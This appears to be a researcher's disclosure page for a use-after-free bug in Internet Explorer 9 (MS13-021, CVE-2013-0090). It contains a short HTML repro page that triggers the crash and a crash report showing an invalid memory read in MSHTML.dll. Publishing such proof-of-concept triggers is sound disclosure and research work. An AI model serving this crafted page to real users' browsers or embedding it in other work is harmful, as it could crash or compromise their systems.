This is a friendly warning that your web-browser does not currently protecting your privacy and/or security as well as you might want. Click on this message to see more information about the issue(s) that were detected.

MSIE 9 IEFRAME CView::Ensure­Size use-after-free

(MS13-021, CVE-2013-0090)


A specially crafted web-page can trigger a use-after-free vulnerability in Microsoft Internet Explorer 9. I did not investigate this vulnerability thoroughly, so I cannot speculate on the potential impact or exploitability.

Known affected software, attack vectors and potential mitigations


This bug was found back when I had very little knowledge and tools to do analysis on use-after-free bugs, so I have no details to share. ZDI revealed that this was a use-after-free vulnerability in their advisory. I have included a number of reports created using a predecessor of Bug­Id below.

Repro.html <!DOCTYPE html> <html> <head> <script defer> var o­Element = document.get­Element­By­Id("ruby"); var o­Element = o­Element.parent­Node.remove­Child(o­Element); document.write("<abbr></abbr>"); document.document­Element.offset­Top; set­Timeout("location.reload()", 100); </script> </head> <body> <abbr dir="ltr"> <ruby id="ruby" dir="rtl"> </ruby> </abbr> </body> </html>


Bug­Id report: MSHTML.dll!CView::Ensure­Size Arbitrary AVR(291A3D35) This report was generated using a predecessor of Bug­Id, a Python script created to detect, analyze and id application bugs. Don't waste time manually analyzing issues and writing reports but try Bug­Id out yourself today! You'll get even better reports than this one with the current version.
id:             MSHTML.dll!CView::Ensure­Size Arbitrary AVR(291A3D35)
description:    Security: Attempt to read from unallocated arbitrary memory (@0x0B2FEFE8) in MSHTML.dll!CView::Ensure­Size
note:           Based on this information, this is expected to be a security issue!
application:    MSIE 9.00.8112.16421
© Copyright 2016 by Sky­Lined.
Creative Commons License This work is licensed under a Creative Commons Attribution-Non‑Commercial 4.0 International License.

Last updated on 2016-11-21.
If you find this web-site useful and would like to make a donation, you can send bitcoin to 183yyxa9s1s1f7JBp­PHPmz­Q346y91Rx5DX.